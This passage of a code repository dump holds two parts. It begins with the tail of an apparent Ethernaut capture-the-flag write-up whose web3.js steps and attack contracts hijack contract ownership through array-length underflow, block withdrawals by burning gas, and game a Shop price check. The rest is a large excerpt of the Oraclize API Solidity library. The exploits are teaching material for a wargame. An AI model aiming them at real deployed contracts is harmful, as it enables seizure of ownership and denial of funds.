"create_0_0... the To address represents your deployed contract 379 | 380 | // First you need to make contact 381 | var instance = " 382 | 383 | // Check who is owner 384 | var ownerPayload = web3.eth.abi.encodeFunctionCall({ 385 | name: 'owner', 386 | type: 'function', 387 | inputs: [] 388 | }, []); // 0x8da5cb5b 389 | 390 | await web3.eth.call({to: instance, data: ownerPayload}); 391 | 392 | var makeContactPayload = web3.eth.abi.encodeFunctionCall({ 393 | name: 'make_contact', 394 | type: 'function', 395 | inputs: [] 396 | }, []); // 0x58699c55 397 | 398 | await web3.eth.sendTransaction({to: instance, from: player, data: makeContactPayload}); 399 | 400 | var concatenatedStorage = await web3.eth.getStorageAt(instance, 0); // 0x000000000000000000000001xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx where the x represents your address and 1 represents contact = true 401 | 402 | // Number of elements in dynamic array (codex) is stored at index 1 403 | // Actual elements stored in dynamic array (codex) can be found at index uint256(keccak256(1)); // 404 | 80084422859880547211683076133703299733277748156566366325829078699459944778998 405 | // New elements added to dynamic array (codex) can be found at index uint256(keccak256(1)) + index in array e.g. 406 | // First element is found at uint256(keccak256(1)) + 0; 407 | // Second element is found at uint256(keccak256(1)) + 1; 408 | // Third element is found at uint256(keccak256(1)) + 2; 409 | 410 | // We want to modify storage slot 0 since that is where owner is stored at. 411 | // We need a value N such that uint256(keccak256(1)) + N = 0 412 | // 0 (or max value for uint256) - uint256(keccak256(1)) = N 413 | 414 | var maxVal = "115792089237316195423570985008687907853269984665640564039457584007913129639936" 415 | var arrayPos = "80084422859880547211683076133703299733277748156566366325829078699459944778998" 416 | var offset = (web3.utils.toBN(maxVal).sub(web3.utils.toBN(arrayPos))).toString(); 417 | var elementAtIndexZero = await web3.eth.getStorageAt(instance, 0); 418 | var newElementAtIndexZero = `${elementAtIndexZero.slice(0, 26)}${player.slice(2,)}` 419 | 420 | var replaceIndexZeroPayload = web3.eth.abi.encodeFunctionCall({ 421 | name: 'revise', 422 | type: 'function', 423 | inputs: [{ 424 | type: 'uint256', 425 | name: 'i' 426 | },{ 427 | type: 'bytes32', 428 | name: '_content' 429 | }] 430 | }, [offset.toString(), newElementAtIndexZero]); 431 | 432 | // If you try to do 433 | // await web3.eth.sendTransaction({to: instance, from: player, data: replaceIndexZeroPayload}); 434 | // It will fail because you are trying to modify an index that is greater than the length of the array 435 | // I mean there's a reason why there is a retract() function right? haha. 436 | 437 | var retractPayload = web3.eth.abi.encodeFunctionCall({ 438 | name: 'retract', 439 | type: 'function', 440 | inputs: [] 441 | }, []); // 0x47f57b32 442 | 443 | // Call retract as many times as you need such that the integer underflows 444 | await web3.eth.sendTransaction({to: instance, from: player, data: retractPayload}); 445 | 446 | // You can check the size of the array by doing 447 | await web3.eth.getStorageAt(instance, 1); 448 | 449 | // Once it returns "0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff", you know that you're ready to replace the owner 450 | await web3.eth.sendTransaction({to: instance, from: player, data: replaceIndexZeroPayload}); 451 | 452 | // Check that owner has been replaced successfully 453 | await web3.eth.call({to: instance, data: ownerPayload}) 454 | ``` 455 | 456 | ## 20. Denial 457 | This level is very similar to the levels Force and King. The problem with the Denial contract is the fact that instead of transferring using `.send()` or `.transfer`() which has a limit of 2300 gas, it used `.call()` and if no limit on the gas is specified, it will send all gas along with it. So now the question is, what can you do in your fallback function to consume all the gas? `assert()` of course! 458 | 459 | Note that you should actually also avoid using `.send()` and `.transfer()` now because of the recent Istanbul Hardfork which made 2300 gas insufficient. You can read more about this [here](https://diligence.consensys.net/blog/2019/09/stop-using-soliditys-transfer-now/). 460 | 461 | ``` 462 | pragma solidity ^0.6.0; 463 | 464 | contract AttackDenial { 465 | 466 | address public victim; 467 | 468 | constructor(address _victim) public payable { 469 | victim = _victim; 470 | bytes memory payload = abi.encodeWithSignature("setWithdrawPartner(address)", address(this)); 471 | victim.call(payload); 472 | } 473 | 474 | 475 | fallback() external payable { 476 | assert(false); 477 | } 478 | } 479 | ``` 480 | 481 | ## 21. Shop 482 | This level is very similar to that of Elevator where you return different value everytime you call the function. The only problem now is the fact that you are only given 3k gas which is not enough to modify any state variables. Even if you wanted to, you can't because the interface requires a view function. Notice how there is actually a flag on the Shop contract that is being modified if it passes the first check? Yes the `isSold` variable! That is the variable that we will use to return different prices. Make sure you import the `Buyer` interface and `Shop` contract. Note that because of the recent Byzantine hardfork, this solution will actually fail because the `price()` function requires 3.8k gas but only 3k gas is given. 483 | 484 | ``` 485 | contract AttackShop is Buyer { 486 | Shop public shop; 487 | 488 | constructor(Shop _shop) public { 489 | shop = _shop; 490 | } 491 | 492 | function buy() public { 493 | shop.buy(); 494 | } 495 | 496 | function price() public view override returns(uint) { 497 | return shop.isSold() ? 1 : 101; 498 | } 499 | } 500 | ``` -------------------------------------------------------------------------------- /GDS/Oraclize.sol: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | ORACLIZE_API 4 | 5 | Copyright (c) 2015-2016 Oraclize SRL 6 | Copyright (c) 2016 Oraclize LTD 7 | 8 | Permission is hereby granted, free of charge, to any person obtaining a copy 9 | of this software and associated documentation files (the "Software"), to deal 10 | in the Software without restriction, including without limitation the rights 11 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 12 | copies of the Software, and to permit persons to whom the Software is 13 | furnished to do so, subject to the following conditions: 14 | 15 | The above copyright notice and this permission notice shall be included in 16 | all copies or substantial portions of the Software. 17 | 18 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 19 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 20 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 21 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 22 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 23 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 24 | THE SOFTWARE. 25 | 26 | */ 27 | pragma solidity >= 0.5.0; // Incompatible compiler version - please select a compiler within the stated pragma range, or use a different version of the oraclizeAPI! 28 | 29 | // Dummy contract only used to emit to end-user they are using wrong solc 30 | contract solcChecker { 31 | /* INCOMPATIBLE SOLC: import the following instead: "github.com/oraclize/ethereum-api/oraclizeAPI_0.4.sol" */ function f(bytes calldata x) external; 32 | } 33 | 34 | contract OraclizeI { 35 | 36 | address public cbAddress; 37 | 38 | function setProofType(byte _proofType) external; 39 | function setCustomGasPrice(uint _gasPrice) external; 40 | function getPrice(string memory _datasource) public returns (uint _dsprice); 41 | function randomDS_getSessionPubKeyHash() external view returns (bytes32 _sessionKeyHash); 42 | function getPrice(string memory _datasource, uint _gasLimit) public returns (uint _dsprice); 43 | function queryN(uint _timestamp, string memory _datasource, bytes memory _argN) public payable returns (bytes32 _id); 44 | function query(uint _timestamp, string calldata _datasource, string calldata _arg) external payable returns (bytes32 _id); 45 | function query2(uint _timestamp, string memory _datasource, string memory _arg1, string memory _arg2) public payable returns (bytes32 _id); 46 | function query_withGasLimit(uint _timestamp, string calldata _datasource, string calldata _arg, uint _gasLimit) external payable returns (bytes32 _id); 47 | function queryN_withGasLimit(uint _timestamp, string calldata _datasource, bytes calldata _argN, uint _gasLimit) external payable returns (bytes32 _id); 48 | function query2_withGasLimit(uint _timestamp, string calldata _datasource, string calldata _arg1, string calldata _arg2, uint _gasLimit) external payable returns (bytes32 _id); 49 | } 50 | 51 | contract OraclizeAddrResolverI { 52 | function getAddress() public returns (address _address); 53 | } 54 | /* 55 | 56 | Begin solidity-cborutils 57 | 58 | https://github.com/smartcontractkit/solidity-cborutils 59 | 60 | MIT License 61 | 62 | Copyright (c) 2018 SmartContract ChainLink, Ltd. 63 | 64 | Permission is hereby granted, free of charge, to any person obtaining a copy 65 | of this software and associated documentation files (the "Software"), to deal 66 | in the Software without restriction, including without limitation the rights 67 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 68 | copies of the Software, and to permit persons to whom the Software is 69 | furnished to do so, subject to the following conditions: 70 | 71 | The above copyright notice and this permission notice shall be included in all 72 | copies or substantial portions of the Software. 73 | 74 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 75 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 76 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 77 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 78 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 79 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 80 | SOFTWARE. 81 | 82 | */ 83 | library Buffer { 84 | 85 | struct buffer { 86 | bytes buf; 87 | uint capacity; 88 | } 89 | 90 | function init(buffer memory _buf, uint _capacity) internal pure { 91 | uint capacity = _capacity; 92 | if (capacity % 32 != 0) { 93 | capacity += 32 - (capacity % 32); 94 | } 95 | _buf.capacity = capacity; // Allocate space for the buffer data 96 | assembly { 97 | let ptr := mload(0x40) 98 | mstore(_buf, ptr) 99 | mstore(ptr, 0) 100 | mstore(0x40, add(ptr, capacity)) 101 | } 102 | } 103 | 104 | function resize(buffer memory _buf, uint _capacity) private pure { 105 | bytes memory oldbuf = _buf.buf; 106 | init(_buf, _capacity); 107 | append(_buf, oldbuf); 108 | } 109 | 110 | function max(uint _a, uint _b) private pure returns (uint _max) { 111 | if (_a > _b) { 112 | return _a; 113 | } 114 | return _b; 115 | } 116 | /** 117 | * @dev Appends a byte array to the end of the buffer. Resizes if doing so 118 | * would exceed the capacity of the buffer. 119 | * @param _buf The buffer to append to. 120 | * @param _data The data to append. 121 | * @return The original buffer. 122 | * 123 | */ 124 | function append(buffer memory _buf, bytes memory _data) internal pure returns (buffer memory _buffer) { 125 | if (_data.length + _buf.buf.length > _buf.capacity) { 126 | resize(_buf, max(_buf.capacity, _data.length) * 2); 127 | } 128 | uint dest; 129 | uint src; 130 | uint len = _data.length; 131 | assembly { 132 | let bufptr := mload(_buf) // Memory address of the buffer data 133 | let buflen := mload(bufptr) // Length of existing buffer data 134 | dest := add(add(bufptr, buflen), 32) // Start address = buffer address + buffer length + sizeof(buffer length) 135 | mstore(bufptr, add(buflen, mload(_data))) // Update buffer length 136 | src := add(_data, 32) 137 | } 138 | for(; len >= 32; len -= 32) { // Copy word-length chunks while possible 139 | assembly { 140 | mstore(dest, mload(src)) 141 | } 142 | dest += 32; 143 | src += 32; 144 | } 145 | uint mask = 256 ** (32 - len) - 1; // Copy remaining bytes 146 | assembly { 147 | let srcpart := and(mload(src), not(mask)) 148 | let destpart := and(mload(dest), mask) 149 | mstore(dest, or(destpart, srcpart)) 150 | } 151 | return _buf; 152 | } 153 | /** 154 | * 155 | * @dev Appends a byte to the end of the buffer. Resizes if doing so would 156 | * exceed the capacity of the buffer. 157 | * @param _buf The buffer to append to. 158 | * @param _data The data to append. 159 | * @return The original buffer. 160 | * 161 | */ 162 | function append(buffer memory _buf, uint8 _data) internal pure { 163 | if (_buf.buf.length + 1 > _buf.capacity) { 164 | resize(_buf, _buf.capacity * 2); 165 | } 166 | assembly { 167 | let bufptr := mload(_buf) // Memory address of the buffer data 168 | let buflen := mload(bufptr) // Length of existing buffer data 169 | let dest := add(add(bufptr, buflen), 32) // Address = buffer address + buffer length + sizeof(buffer length) 170 | mstore8(dest, _data) 171 | mstore(bufptr, add(buflen, 1)) // Update buffer length 172 | } 173 | } 174 | /** 175 | * 176 | * @dev Appends a byte to the end of the buffer. Resizes if doing so would 177 | * exceed the capacity of the buffer. 178 | * @param _buf The buffer to append to. 179 | * @param _data The data to append. 180 | * @return The original buffer. 181 | * 182 | */ 183 | function appendInt(buffer memory _buf, uint _data, uint _len) internal pure returns (buffer memory _buffer) { 184 | if (_len + _buf.buf.length > _buf.capacity) { 185 | resize(_buf, max(_buf.capacity, _len) * 2); 186 | } 187 | uint mask = 256 ** _len - 1; 188 | assembly { 189 | let bufptr := mload(_buf) // Memory address of the buffer data 190 | let buflen := mload(bufptr) // Length of existing buffer data 191 | let dest := add(add(bufptr, buflen), _len) // Address = buffer address + buffer length + sizeof(buffer length) + len 192 | mstore(dest, or(and(mload(dest), not(mask)), _data)) 193 | mstore(bufptr, add(buflen, _len)) // Update buffer length 194 | } 195 | return _buf; 196 | } 197 | } 198 | 199 | library CBOR { 200 | 201 | using Buffer for Buffer.buffer; 202 | 203 | uint8 private constant MAJOR_TYPE_INT = 0; 204 | uint8 private constant MAJOR_TYPE_MAP = 5; 205 | uint8 private constant MAJOR_TYPE_BYTES = 2; 206 | uint8 private constant MAJOR_TYPE_ARRAY = 4; 207 | uint8 private constant MAJOR_TYPE_STRING = 3; 208 | uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1; 209 | uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7; 210 | 211 | function encodeType(Buffer.buffer memory _buf, uint8 _major, uint _value) private pure { 212 | if (_value <= 23) { 213 | _buf.append(uint8((_major << 5) | _value)); 214 | } else if (_value <= 0xFF) { 215 | _buf.append(uint8((_major << 5) | 24)); 216 | _buf.appendInt(_value, 1); 217 | } else if (_value <= 0xFFFF) { 218 | _buf.append(uint8((_major << 5) | 25)); 219 | _buf.appendInt(_value, 2); 220 | } else if (_value <= 0xFFFFFFFF) { 221 | _buf.append(uint8((_major << 5) | 26)); 222 | _buf.appendInt(_value, 4); 223 | } else if (_value <= 0xFFFFFFFFFFFFFFFF) { 224 | _buf.append(uint8((_major << 5) | 27)); 225 | _buf.appendInt(_value, 8); 226 | } 227 | } 228 | 229 | function encodeIndefiniteLengthType(Buffer.buffer memory _buf, uint8 _major) private pure { 230 | _buf.append(uint8((_major << 5) | 31)); 231 | } 232 | 233 | function encodeUInt(Buffer.buffer memory _buf, uint _value) internal pure { 234 | encodeType(_buf, MAJOR_TYPE_INT, _value); 235 | } 236 | 237 | function encodeInt(Buffer.buffer memory _buf, int _value) internal pure { 238 | if (_value >= 0) { 239 | encodeType(_buf, MAJOR_TYPE_INT, uint(_value)); 240 | } else { 241 | encodeType(_buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - _value)); 242 | } 243 | } 244 | 245 | function encodeBytes(Buffer.buffer memory _buf, bytes memory _value) internal pure { 246 | encodeType(_buf, MAJOR_TYPE_BYTES, _value.length); 247 | _buf.append(_value); 248 | } 249 | 250 | function encodeString(Buffer.buffer memory _buf, string memory _value) internal pure { 251 | encodeType(_buf, MAJOR_TYPE_STRING, bytes(_value).length); 252 | _buf.append(bytes(_value)); 253 | } 254 | 255 | function startArray(Buffer.buffer memory _buf) internal pure { 256 | encodeIndefiniteLengthType(_buf, MAJOR_TYPE_ARRAY); 257 | } 258 | 259 | function startMap(Buffer.buffer memory _buf) internal pure { 260 | encodeIndefiniteLengthType(_buf, MAJOR_TYPE_MAP); 261 | } 262 | 263 | function endSequence(Buffer.buffer memory _buf) internal pure { 264 | encodeIndefiniteLengthType(_buf, MAJOR_TYPE_CONTENT_FREE); 265 | } 266 | } 267 | /* 268 | 269 | End solidity-cborutils 270 | 271 | */ 272 | contract usingOraclize { 273 | 274 | using CBOR for Buffer.buffer; 275 | 276 | OraclizeI oraclize; 277 | OraclizeAddrResolverI OAR; 278 | 279 | uint constant day = 60 * 60 * 24; 280 | uint constant week = 60 * 60 * 24 * 7; 281 | uint constant month = 60 * 60 * 24 * 30; 282 | 283 | byte constant proofType_NONE = 0x00; 284 | byte constant proofType_Ledger = 0x30; 285 | byte constant proofType_Native = 0xF0; 286 | byte constant proofStorage_IPFS = 0x01; 287 | byte constant proofType_Android = 0x40; 288 | byte constant proofType_TLSNotary = 0x10; 289 | 290 | string oraclize_network_name; 291 | uint8 constant networkID_auto = 0; 292 | uint8 constant networkID_morden = 2; 293 | uint8 constant networkID_mainnet = 1; 294 | uint8 constant networkID_testnet = 2; 295 | uint8 constant networkID_consensys = 161; 296 | 297 | mapping(bytes32 => bytes32) oraclize_randomDS_args; 298 | mapping(bytes32 => bool) oraclize_randomDS_sessionKeysHashVerified; 299 | 300 | modifier oraclizeAPI { 301 | if ((address(OAR) == address(0)) || (getCodeSize(address(OAR)) == 0)) { 302 | oraclize_setNetwork(networkID_auto); 303 | } 304 | if (address(oraclize) != OAR.getAddress()) { 305 | oraclize = OraclizeI(OAR.getAddress()); 306 | } 307 | _; 308 | } 309 | 310 | modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string memory _result, bytes memory _proof) { 311 | // RandomDS Proof Step 1: The prefix has to match 'LP\x01' (Ledger Proof version 1) 312 | require((_proof[0] == "L") && (_proof[1] == "P") && (uint8(_proof[2]) == uint8(1))); 313 | bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); 314 | require(proofVerified); 315 | _; 316 | } 317 | 318 | function oraclize_setNetwork(uint8 _networkID) internal returns (bool _networkSet) { 319 | return oraclize_setNetwork(); 320 | _networkID; // silence the warning and remain backwards compatible 321 | } 322 | 323 | function oraclize_setNetworkName(string memory _network_name) internal { 324 | oraclize_network_name = _network_name; 325 | } 326 | 327 | function oraclize_getNetworkName() internal view returns (string memory _networkName) { 328 | return oraclize_network_name; 329 | } 330 | 331 | function oraclize_setNetwork() internal returns (bool _networkSet) { 332 | if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed) > 0) { //mainnet 333 | OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); 334 | oraclize_setNetworkName("eth_mainnet"); 335 | return true; 336 | } 337 | if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1) > 0) { //ropsten testnet 338 | OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); 339 | oraclize_setNetworkName("eth_ropsten3"); 340 | return true; 341 | } 342 | if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e) > 0) { //kovan testnet 343 | OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); 344 | oraclize_setNetworkName("eth_kovan"); 345 | return true; 346 | } 347 | if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48) > 0) { //rinkeby testnet 348 | OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); 349 | oraclize_setNetworkName("eth_rinkeby"); 350 | return true; 351 | } 352 | if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475) > 0) { //ethereum-bridge 353 | OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); 354 | return true; 355 | } 356 | if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF) > 0) { //ether.camp ide 357 | OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); 358 | return true; 359 | } 360 | if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA) > 0) { //browser-solidity 361 | OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); 362 | return true; 363 | } 364 | return false; 365 | } 366 | 367 | function __callback(bytes32 _myid, string memory _result) public { 368 | __callback(_myid, _result, new bytes(0)); 369 | } 370 | 371 | function __callback(bytes32 _myid, string memory _result, bytes memory _proof) public { 372 | return; 373 | _myid; _result; _proof; // Silence compiler warnings 374 | } 375 | 376 | function oraclize_getPrice(string memory _datasource) oraclizeAPI internal returns (uint _queryPrice) { 377 | return oraclize.getPrice(_datasource); 378 | } 379 | 380 | function oraclize_getPrice(string memory _datasource, uint _gasLimit) oraclizeAPI internal returns (uint _queryPrice) { 381 | return oraclize.getPrice(_datasource, _gasLimit); 382 | } 383 | 384 | function oraclize_query(string memory _datasource, string memory _arg) oraclizeAPI internal returns (bytes32 _id) { 385 | uint price = oraclize.getPrice(_datasource); 386 | if (price > 1 ether + tx.gasprice * 200000) { 387 | return 0; // Unexpectedly high price 388 | } 389 | return oraclize.query.value(price)(0, _datasource, _arg); 390 | } 391 | 392 | function oraclize_query(uint _timestamp, string memory _datasource, string memory _arg) oraclizeAPI internal returns (bytes32 _id) { 393 | uint price = oraclize.getPrice(_datasource); 394 | if (price > 1 ether + tx.gasprice * 200000) { 395 | return 0; // Unexpectedly high price 396 | } 397 | return oraclize.query.value(price)(_timestamp, _datasource, _arg); 398 | } 399 | 400 | function oraclize_query(uint _timestamp, string memory _datasource, string memory _arg, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { 401 | uint price = oraclize.getPrice(_datasource,_gasLimit); 402 | if (price > 1 ether + tx.gasprice * _gasLimit) { 403 | return 0; // Unexpectedly high price 404 | } 405 | return oraclize.query_withGasLimit.value(price)(_timestamp, _datasource, _arg, _gasLimit); 406 | } 407 | 408 | function oraclize_query(string memory _datasource, string memory _arg, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { 409 | uint price = oraclize.getPrice(_datasource, _gasLimit); 410 | if (price > 1 ether + tx.gasprice * _gasLimit) { 411 | return 0; // Unexpectedly high price 412 | } 413 | return oraclize.query_withGasLimit.value(price)(0, _datasource, _arg, _gasLimit); 414 | } 415 | 416 | function oraclize_query(string memory _datasource, string memory _arg1, string memory _arg2) oraclizeAPI internal returns (bytes32 _id) { 417 | uint price = oraclize.getPrice(_datasource); 418 | if (price > 1 ether + tx.gasprice * 200000) { 419 | return 0; // Unexpectedly high price 420 | } 421 | return oraclize.query2.value(price)(0, _datasource, _arg1, _arg2); 422 | } 423 | 424 | function oraclize_query(uint _timestamp, string memory _datasource, string memory _arg1, string memory _arg2) oraclizeAPI internal returns (bytes32 _id) { 425 | uint price = oraclize.getPrice(_datasource); 426 | if (price > 1 ether + tx.gasprice * 200000) { 427 | return 0; // Unexpectedly high price 428 | } 429 | return oraclize.query2.value(price)(_timestamp, _datasource, _arg1, _arg2); 430 | } 431 | 432 | function oraclize_query(uint _timestamp, string memory _datasource, string memory _arg1, string memory _arg2, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { 433 | uint price = oraclize.getPrice(_datasource, _gasLimit); 434 | if (price > 1 ether + tx.gasprice * _gasLimit) { 435 | return 0; // Unexpectedly high price 436 | } 437 | return oraclize.query2_withGasLimit.value(price)(_timestamp, _datasource, _arg1, _arg2, _gasLimit); 438 | } 439 | 440 | function oraclize_query(string memory _datasource, string memory _arg1, string memory _arg2, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { 441 | uint price = oraclize.getPrice(_datasource, _gasLimit); 442 | if (price > 1 ether + tx.gasprice * _gasLimit) { 443 | return 0; // Unexpectedly high price 444 | } 445 | return oraclize.query2_withGasLimit.value(price)(0, _datasource, _arg1, _arg2, _gasLimit); 446 | } 447 | 448 | function oraclize_query(string memory _datasource, string[] memory _argN) oraclizeAPI internal returns (bytes32 _id) { 449 | uint price = oraclize.getPrice(_datasource); 450 | if (price > 1 ether + tx.gasprice * 200000) { 451 | return 0; // Unexpectedly high price 452 | } 453 | bytes memory args = stra2cbor(_argN); 454 | return oraclize.queryN.value(price)(0, _datasource, args); 455 | } 456 | 457 | function oraclize_query(uint _timestamp, string memory _datasource, string[] memory _argN) oraclizeAPI internal returns (bytes32 _id) { 458 | uint price = oraclize.getPrice(_datasource); 459 | if (price > 1 ether + tx.gasprice * 200000) { 460 | return 0; // Unexpectedly high price 461 | } 462 | bytes memory args = stra2cbor(_argN); 463 | return oraclize.queryN.value(price)(_timestamp, _datasource, args); 464 | } 465 | 466 | function oraclize_query(uint _timestamp, string memory _datasource, string[] memory _argN, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { 467 | uint price = oraclize.getPrice(_datasource, _gasLimit); 468 | if (price > 1 ether + tx.gasprice * _gasLimit) { 469 | return 0; // Unexpectedly high price 470 | } 471 | bytes memory args = stra2cbor(_argN); 472 | return oraclize.queryN_withGasLimit.value(price)(_timestamp, _datasource, args, _gasLimit); 473 | } 474 | 475 | function oraclize_query(string memory _datasource, string[] memory _argN, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { 476 | uint price = oraclize.getPrice(_datasource, _gasLimit); 477 | if (price > 1 ether + tx.gasprice * _gasLimit) { 478 | return 0; // Unexpectedly high price 479 | } 480 | bytes memory args = stra2cbor(_argN); 481 | return oraclize.queryN_withGasLimit.value(price)(0, _datasource, args, _gasLimit); 482 | } 483 | 484 | function oraclize_query(string memory _datasource, string[1] memory _args) oraclizeAPI internal returns (bytes32 _id) { 485 | string[] memory dynargs = new string[](1); 486 | dynargs[0] = _args[0]; 487 | return oraclize_query(_datasource, dynargs); 488 | } 489 | 490 | function oraclize_query(uint _timestamp, string memory _datasource, string[1] memory _args) oraclizeAPI internal returns (bytes32 _id) { 491 | string[] memory dynargs = new string[](1); 492 | dynargs[0] = _args[0]; 493 | return oraclize_query(_timestamp, _datasource, dynargs); 494 | } 495 | 496 | function oraclize_query(uint _timestamp, string memory _datasource, string[1] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { 497 | string[] memory dynargs = new string[](1); 498 | dynargs[0] = _args[0]; 499 | return oraclize_query(_timestamp, _datasource, dynargs, _gasLimit); 500 | } 501 | 502 | function oraclize_query(string memory _datasource, string[1] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { 503 | string[] memory dynargs = new string[](1); 504 | dynargs[0] = _args[0]; 505 | return oraclize_query(_datasource, dynargs, _gasLimit); 506 | } 507 | 508 | function oraclize_query(string memory _datasource, string[2] memory _args) oraclizeAPI internal returns (bytes32 _id) { 509 | string[] memory dynargs = new string[](2); 510 | dynargs[0] = _args[0]; 511 | dynargs[1] = _args[1]; 512 | return oraclize_query(_datasource, dynargs); 513 | } 514 | 515 | function oraclize_query(uint _timestamp, string memory _datasource, string[2] memory _args) oraclizeAPI internal returns (bytes32 _id) { 516 | string[] memory dynargs = new string[](2); 517 | dynargs[0] = _args[0]; 518 | dynargs[1] = _args[1]; 519 | return oraclize_query(_timestamp, _datasource, dynargs); 520 | } 521 | 522 | function oraclize_query(uint _timestamp, string memory _datasource, string[2] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { 523 | string[] memory dynargs = new string[](2); 524 | dynargs[0] = _args[0]; 525 | dynargs[1] = _args[1]; 526 | return oraclize_query(_timestamp, _datasource, dynargs, _gasLimit); 527 | } 528 | 529 | function oraclize_query(string memory _datasource, string[2] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { 530 | string[] memory dynargs = new string[](2); 531 | dynargs[0] = _args[0]; 532 | dynargs[1] = _args[1]; 533 | return oraclize_query(_datasource, dynargs, _gasLimit); 534 | } 535 | 536 | function oraclize_query(string memory _datasource, string[3] memory _args) oraclizeAPI internal returns (bytes32 _id) { 537 | string[] memory dynargs = new string[](3); 538 | dynargs[0] = _args[0]; 539 | dynargs[1] = _args[1]; 540 | dynargs[2] = _args[2]; 541 | return oraclize_query(_datasource, dynargs); 542 | } 543 | 544 | function oraclize_query(uint _timestamp, string memory _datasource, string[3] memory _args) oraclizeAPI internal returns (bytes32 _id) { 545 | string[] memory dynargs = new string[](3); 546 | dynargs[0] = _args[0]; 547 | dynargs[1] = _args[1]; 548 | dynargs[2] = _args[2]; 549 | return oraclize_query(_timestamp, _datasource, dynargs); 550 | } 551 | 552 | function oraclize_query(uint _timestamp, string memory _datasource, string[3] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { 553 | string[] memory dynargs = new string[](3); 554 | dynargs[0] = _args[0]; 555 | dynargs[1] = _args[1]; 556 | dynargs[2] = _args[2]; 557 | return oraclize_query(_timestamp, _datasource, dynargs, _gasLimit); 558 | } 559 | 560 | function oraclize_query(string memory _datasource, string[3] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { 561 | string[] memory dynargs = new string[](3); 562 | dynargs[0] = _args[0]; 563 | dynargs[1] = _args[1]; 564 | dynargs[2] = _args[2]; 565 | return oraclize_query(_datasource, dynargs, _gasLimit); 566 | } 567 | 568 | function oraclize_query(string memory _datasource, string[4] memory _args) oraclizeAPI internal returns (bytes32 _id) { 569 | string[] memory dynargs = new string[](4); 570 | dynargs[0] = _args[0]; 571 | dynargs[1] = _args[1]; 572 | dynargs[2] = _args[2]; 573 | dynargs[3] = _args[3]; 574 | return oraclize_query(_datasource, dynargs); 575 | } 576 | 577 | function oraclize_query(uint _timestamp, string memory _datasource, string[4] memory _args) oraclizeAPI internal returns (bytes32 _id) { 578 | string[] memory dynargs = new string[](4); 579 | dynargs[0] = _args[0]; 580 | dynargs[1] = _args[1]; 581 | dynargs[2] = _args[2]; 582 | dynargs[3] = _args[3]; 583 | return oraclize_query(_timestamp, _datasource, dynargs); 584 | } 585 | 586 | function oraclize_query(uint _timestamp, string memory _datasource, string[4] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { 587 | string[] memory dynargs = new string[](4); 588 | dynargs[0] = _args[0]; 589 | dynargs[1] = _args[1]; 590 | dynargs[2] = _args[2]; 591 | dynargs[3] = _args[3]; 592 | return oraclize_query(_timestamp, _datasource, dynargs, _gasLimit); 593 | } 594 | 595 | function oraclize_query(string memory _datasource, string[4] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { 596 | string[] memory dynargs = new string[](4); 597 | dynargs[0] = _args[0]; 598 | 